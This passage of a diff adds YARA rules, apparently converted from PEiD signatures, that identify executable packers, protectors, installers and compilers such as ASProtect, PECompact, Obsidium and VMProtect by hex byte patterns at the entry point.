+		$0 = {18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 ?? ?? ?? ?? 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 ?? ?? ?? ?? 00 02 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 E0}
+	condition:
+		$0
+}
+rule _Can2Exe_v001_
+{
+	meta:
+		description = "Can2Exe v0.01"
+	strings:
+		$0 = {0E 1F 0E 07 E8 ?? ?? E8 ?? ?? 3A C6 73}
+	condition:
+		$0 at entrypoint
+}
+rule _WinZip_32bit_6x_
+{
+	meta:
+		description = "WinZip (32-bit) 6.x"
+	strings:
+		$0 = {FF 15 ?? ?? ?? 00 B1 22 38 08 74 02 B1 20 40 80 38 00 74 10 38 08 74 06 40 80 38 00 75 F6 80 38 00 74 01 40 33 C9 ?? ?? ?? ?? FF 15}
+		$1 = {FF 15 FC 81 40 00 B1 22 38 08 74 02 B1 20 40 80 38 00 74 10}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ActiveMARKTM_
+{
+	meta:
+		description = "ActiveMARK[TM"
+	strings:
+		$0 = {79 07 0F B7 07 47 50 47 B9 57 48 F2 AE 55 FF 96 84 ?? 00 00 09 C0 74 07 89 03 83 C3 04 EB D8 FF 96 88 ?? 00 00 61 E9 ?? ?? ?? FF}
+		$1 = {79 11 7F AB 9A 4A 83 B5 C9 6B 1A 48 F9 27 B4 25}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _vfpexeNc_V500__Wang_JianGuo_
+{
+	meta:
+		description = "vfp&exeNc V5.00 -> Wang JianGuo"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC}
+		$1 = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASProtect_123_RC4__Solodovnikov_Alexey_
+{
+	meta:
+		description = "ASProtect 1.23 RC4 -> Solodovnikov Alexey"
+	strings:
+		$0 = {68 01 F0 58 00 E8 01 00 00 00 C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _USSR_031__by_Spirit_
+{
+	meta:
+		description = "USSR 0.31 - by Spirit"
+	strings:
+		$0 = {E8 00 00 00 00 5D 83 C5 12 55 C3 20 83 B8 ED 20 37 EF C6 B9 79 37 9E 8C C9 30 C9 E3 01 C3 BE 32 ?? ?? ?? B0 ?? 30 06 8A 06 46 81 FE 00 ?? ?? ?? 7C F3}
+		$1 = {E8 00 00 00 00 5D 83 C5 12 55 C3 20 83 B8 ED 20 37 EF C6 B9 79 37 9E 8C C9 30 C9 E3 01 C3 BE 32 ?? ?? ?? B0 ?? 30 06 8A 06 46 81 FE 00 ?? ?? ?? 7C F3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Stones_PE_Encrypter_10_
+{
+	meta:
+		description = "Stone's PE Encrypter 1.0"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 63 3A 40 00 2B 95 C2 3A 40 00 83 EA 0B 89 95 CB 3A 40 00 8D B5 CA 3A 40 00 0F B6 36 8B FD 8D 9D CB 3A 40 00 8B 1B 8D 87 CF 3A 40 00 8B 00 03 D8 8D 8F D3 3A 40 00 8B 09 80 2B 01 43 E2 FA 83 C7}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_Visual_Cpp_v8__hgood_sig_but_is_it_MSVC_
+{
+	meta:
+		description = "MS Visual C++ v.8  (h-good sig, but is it MSVC?)"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? E9 8D FE FF FF CC CC CC CC CC 66 81 3D 00 00 00 01 4D 5A 74 04 33 C0 EB 51 A1 3C 00 00 01 81 B8 00 00 00 01 50 45 00 00 75 EB 0F B7 88 18 00 00 01 81 F9 0B 01 00 00 74 1B 81 F9 0B 02 00 00 75 D4 83 B8 84 00 00 01 0E 76 CB 33 C9 39 88 F8 00 00 01 EB 11 83 B8 74 00 00 01 0E 76 B8 33 C9 39 88 E8 00 00 01 0F 95 C1 8B C1 6A 01 A3 ?? ?? ?? 01 E8 ?? ?? 00 00 50 FF ?? ?? ?? 00 01 83 0D ?? ?? ?? 01 FF 83 0D ?? ?? ?? 01 FF 59 59 FF 15 ?? ?? 00 01 8B 0D ?? ?? ?? 01 89 08 FF 15 ?? ?? 00 01 8B 0D ?? ?? ?? 01 89 08 A1 ?? ?? 00 01 8B 00 A3 ?? ?? ?? 01 E8 ?? ?? 00 00 83 3D ?? ?? ?? 01 00 75 0C 68 ?? ?? ?? 01 FF 15 ?? ?? 00 01 59 E8 ?? ?? 00 00 33 C0 C3 CC CC CC CC CC}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_Patch_or_any_Version__Dwing_
+{
+	meta:
+		description = "Upack_Patch or any Version -> Dwing"
+	strings:
+		$0 = {60 E8 09 00 00 00 ?? ?? ?? 00 E9 06 02}
+		$1 = {60 E8 09 00 00 00 ?? ?? ?? 00 E9 06 02}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_V1354__Obsidium_Software____200800207_
+{
+	meta:
+		description = "Obsidium V1.3.5.4 -> Obsidium Software   * 200800207"
+	strings:
+		$0 = {EB 03 ?? ?? ?? E8 2D 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 25 EB 03 ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 02 ?? ?? 58 EB 04 ?? ?? ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 5B 28 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b7_
+{
+	meta:
+		description = "PECompact v1.10b7"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 9A 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 01 85 92 60 40 ?? BB 14}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeTools_COM2EXE_
+{
+	meta:
+		description = "ExeTools COM2EXE"
+	strings:
+		$0 = {E8 ?? ?? 5D 83 ED ?? 8C DA 2E 89 96 ?? ?? 83 C2 ?? 8E DA 8E C2 2E 01 96 ?? ?? 60}
+		$1 = {E8 ?? ?? 5D 83 ED ?? 8C DA 2E 89 96 ?? ?? 83 C2 ?? 8E DA 8E C2 2E 01 96 ?? ?? 60}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule __022_beta__shoooo_
+{
+	meta:
+		description = "Ü¥±±Ñ¹Ëõ 0.22 beta -> shoooo"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 11 55 07 8B EC B8}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_70_Custom_
+{
+	meta:
+		description = "Microsoft Visual C++ 7.0 Custom"
+	strings:
+		$0 = {60 BE 00 B0 44 00 8D BE 00 60 FB FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_v198_
+{
+	meta:
+		description = "Nullsoft Install System v1.98"
+	strings:
+		$0 = {83 EC 0C 53 56 57 FF 15 2C 81 40}
+		$1 = {83 EC 0C 53 56 57 FF 15 20 71 40 00 05 E8 03 00 00 BE 60 FD 41 00 89 44 24 10 B3 20 FF 15 28 70 40 00 68 00 04 00 00 FF 15 28 71 40 00 50 56 FF 15 08 71 40 00 80 3D 60 FD 41 00 22 75 08 80 C3 02 BE 61 FD 41 00 8A 06 8B 3D F0 71 40 00 84 C0 74 0F 3A C3 74 0B 56 FF D7 8B F0 8A 06 84 C0 75 F1 80 3E 00 74 05 56 FF D7 8B F0 89 74 24 14 80 3E 20 75 07 56 FF D7 8B F0 EB F4 80 3E 2F 75}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CRYPTCOM_by_unknown_
+{
+	meta:
+		description = "CRYPTCOM [by unknown"
+	strings:
+		$0 = {BE 00 01 56 B9 00 00 C7 04 00 00 C6 44 02 00 81 34 00 93 46 46 E2 F8 31 F6 31 C9 C3 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Spalsher_10__30__Amok_
+{
+	meta:
+		description = "Spalsher 1.0 - 3.0 -> Amok"
+	strings:
+		$0 = {31 ED 9A ?? ?? ?? ?? 55 89 E5 81 EC ?? ?? B8 ?? ?? 0E 50 9A ?? ?? ?? ?? BE ?? ?? 1E 0E BF ?? ?? 1E 07 1F FC}
+		$1 = {9C 60 8B 44 24 24 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PEtite_v12_
+{
+	meta:
+		description = "PEtite v1.2"
+	strings:
+		$0 = {9C 60 E8 CA ?? ?? ?? 03 ?? 04 ?? 05 ?? 06 ?? 07 ?? 08}
+	condition:
+		$0 at entrypoint
+}
+rule _PolyCryptor_by_SMT_
+{
+	meta:
+		description = "PolyCryptor by SMT"
+	strings:
+		$0 = {EB ?? 28 50 6F 6C 79 53 63 72 79 70 74 20 ?? ?? ?? 20 62 79 20 53 4D 54 29}
+	condition:
+		$0 at entrypoint
+}
+rule _with_added_PK_signature_
+{
+	meta:
+		description = "with added 'PK' signature"
+	strings:
+		$0 = {C7 ?? ?? ?? ?? ?? 8C D8 05}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Cpp_60__70__ASM_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0 / ASM)"
+	strings:
+		$0 = {E8 01 00 00 00 0E 59 E8 01 00 00 00 58 58 BE 80 ?? ?? 00 EB 02 61 E9 68 F4 00 00 00 C1 C8}
+		$1 = {E8 01 00 00 00 5A 5E E8 02 00 00 00 BA DD 5E 03 F2 EB 01 64 BB 80 ?? ?? 00 8B FA EB 01 A8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_vxxxx__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium vx.x.x.x -> Obsidium Software"
+	strings:
+		$0 = {E8 47 19}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_10X__vcasm_
+{
+	meta:
+		description = "VProtector 1.0X -> vcasm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3 E8 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 05 00 00}
+		$1 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASProtect_v__If_you_know_this_version_post_on_PEiD_board_h2_
+{
+	meta:
+		description = "ASProtect v?.? -> If you know this version, post on PEiD board (h2)"
+	strings:
+		$0 = {33 C0 E9 ?? ?? FF FF ?? 1C ?? ?? 40}
+		$1 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? 00 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 DD 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _aPack_v098b_DS__ES_not_saved_
+{
+	meta:
+		description = "aPack v0.98b (DS & ES not saved)"
+	strings:
+		$0 = {8C CB BA ?? ?? 03 DA FC 33 F6 33 FF 4B 8E DB 8D ?? ?? ?? 8E C0 B9 ?? ?? F3 A5 4A 75}
+	condition:
+		$0 at entrypoint
+}
+rule _Setup_Factory_6x_Custom_
+{
+	meta:
+		description = "Setup Factory 6.x Custom"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? 61 40 00 68 ?? 43 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 ?? 61 40 00 33 D2 8A D4 89 15 A0 A9 40 00 8B C8 81 E1 FF 00 00 00 89 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _PEArmor_07600765__hying_
+{
+	meta:
+		description = "PE-Armor 0.760-0.765 -> hying"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 00 08 00 00 00 00 00 00 00 60 E8 00 00 00 00}
+		$1 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 00 08 00 00 00 00 00 00 00 60 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _VMProtect_106107__PolyTech_
+{
+	meta:
+		description = "VMProtect 1.06..1.07 -> PolyTech"
+	strings:
+		$0 = {9C 60 68 00 00 00 00 8B 74 24 28 BF ?? ?? ?? ?? FC 89 F3 03 34 24 AC 00 D8}
+		$1 = {9C 60 68 00 00 00 00 8B 74 24 28 BF ?? ?? ?? ?? FC 89 F3 03 34 24 AC 00 D8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VMware_ThinApp_VV339600__VMware__20090124_
+{
+	meta:
+		description = "VMware ThinApp VV3.396.0.0 -> VMware * 20090124"
+	strings:
+		$0 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB C1 20 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 2E 00 00 68 28 01 00 00 E8 2C FF FF FF E9 ?? FF FF FF CC CC CC CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_FSG_131__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [FSG 1.31] --> Anorganix"
+	strings:
+		$0 = {BE 90 90 90 00 BF 90 90 90 00 BB 90 90 90 00 53 BB 90 90 90 00 B2 80}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_v22_Compresor__wwwun4seencompetite_
+{
+	meta:
+		description = "Petite v2.2 (Compresor) -> www.un4seen.com/petite/"
+	strings:
+		$0 = {B8 00 ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MPRESS_V107V125__MATCODE_Software___20080730_
+{
+	meta:
+		description = "MPRESS V1.07-V1.25 -> MATCODE Software  * 20080730"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 05 9E 02 00 00 8B 30 03 F0 2B C0 8B FE 66 AD C1 E0 0C 8B C8 50 AD 2B C8 03 F1 8B C8 57 51 49 8A 44 39 06 74 05 88 04 31 EB F4 88 04 31 8B D6 8B CF E8 56 00 00 00 5E 5A 83 EA 05 2B C9 3B CA 73 26 8B D9 AC 41 24 FE 3C E8 75 F2 43 83 C1 04 AD 0B C0 78 06 3B C2 73 E5 EB 06 03 C3 78 DF 03 C2 2B C3 89 46 FC EB D6 E8 00 00 00 00 5F 81 C7 8D FF FF FF B0 E9 AA B8 9A 02 00 00 AB E8 00 00 00 00 58 05 1C 02 00 00 E9 0C 02 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_Exe_Protector_1x__setisoft_
+{
+	meta:
+		description = "Private Exe Protector 1.x -> setisoft"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? B9 ?? 90 01 ?? BE ?? 10 40 ?? 68 50 91 41 ?? 68 01 ?? ?? ?? C3}
+		$1 = {B8 ?? ?? ?? ?? B9 ?? 90 01 ?? BE ?? 10 40 ?? 68 50 91 41 ?? 68 01 ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_120_Basic_Edition_aPLib_
+{
+	meta:
+		description = "RLPack 1.20 Basic Edition [aPLib"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 92 05 00 00 EB 0C 8B 85 8E 05 00 00 89 85 92 05 00 00 8D B5 BA 05 00 00 8D 9D 41 04 00 00 33 FF E8 38 01 00 00 EB 1B 8B 85 92 05 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3}
+		$1 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 92 05 00 00 EB 0C 8B 85 8E 05 00 00 89 85 92 05 00 00 8D B5 BA 05 00 00 8D 9D 41 04 00 00 33 FF E8 38 01 00 00 EB 1B 8B 85 92 05 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD 9E 05 00 00 00 74 0E 83 BD A2 05 00 00 00 74 05 E8 D6 01 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MSLRH_032a_fake_PEBundle_02__3x__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake PEBundle 0.2 - 3.x) -> emadicius"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02}
+	condition:
+		$0 at entrypoint
+}
+rule _PEBundle_006_
+{
+	meta:
+		description = "PEBundle 0.06"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 00 87 DD 01 AD D5 24 40 00 01 AD 4B 25 40 00 01 AD A0 25 40 00 01 AD FD 25 40 00 01 AD 35 26 40 00 E8 FD 01 00 00 FF B5 A6 20 40 00 FF B5 08 21 40 00 E8 87 02 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_038_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.38 beta -> Dwing"
+	strings:
+		$0 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 38 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v101b_
+{
+	meta:
+		description = "ASPack v1.01b"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED CE 3A 44 ?? B8 C8 3A 44 ?? 03 C5 2B 85 B5 3E 44 ?? 89 85 C1 3E 44 ?? 80 BD AC 3E 44}
+		$1 = {60 E8 ?? ?? ?? ?? 5D 81 ED D2 2A 44 ?? B8 CC 2A 44 ?? 03 C5 2B 85 A5 2E 44 ?? 89 85 B1 2E 44 ?? 80 BD 9C 2E 44}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_Full_Edition_117_DLL_aPLib_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 DLL [aPLib"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 53 03 00 00 8D 9D 02 02 00 00 33 FF E8 ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V10B__vcasm_
+{
+	meta:
+		description = "VProtector V1.0B -> vcasm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 CA 37 41 00 68 06 38 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+		$1 = {55 8B EC 6A FF 68 CA 37 41 00 68 06 38 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXE2COM_200_
+{
+	meta:
+		description = "EXE2COM 2.00"
+	strings:
+		$0 = {E8 00 00 5B 81 EB 1D 00 8D B7 00 00 BF 00 01 B9 07 00 F3 A5 8D B7 FC 00 53 8C CF 83 C7 10 AD 09 C0 74 63 91 AD 01 F8 8E C0 AD 93 26 01 3F E2 F9 EB EC 43 6F 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 31 2D 31 39 39 35 20 62 79 20 50 53 50}
+	condition:
+		$0 at entrypoint
+}
+rule _HA_Archive_
+{
+	meta:
+		description = "HA Archive"
+	strings:
+		$0 = {48 41}
+	condition:
+		$0 at entrypoint
+}
+rule _Vprotect_V1XX16X__CoooLie_
+{
+	meta:
+		description = "Vprotect V1.XX-1.6X -> CoooLie"
+	strings:
+		$0 = {8B 5F 10 83 6F 10 04 83 EB 04 58 89 03 8B 07 8B 5F 0C 8B 4F 04 8B 57 08 8B 6F 14 8B 77 18 FF 77 24 9D 8B 67 10 C7 47 4C 00 00 00 00 8B 7F 1C C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_3035__Jtit_
+{
+	meta:
+		description = "Thinstall 3.035 -> Jtit"
+	strings:
+		$0 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 28 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00}
+		$1 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 28 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 C3 B9 08 00 00 00 E8 01 00 00 00 C3 33 C0 E8 E1 FF FF FF 13 C0 E2 F7 C3 33 C9 41 E8 D4 FF FF FF 13 C9 E8 CD FF FF FF 72 F2 C3}
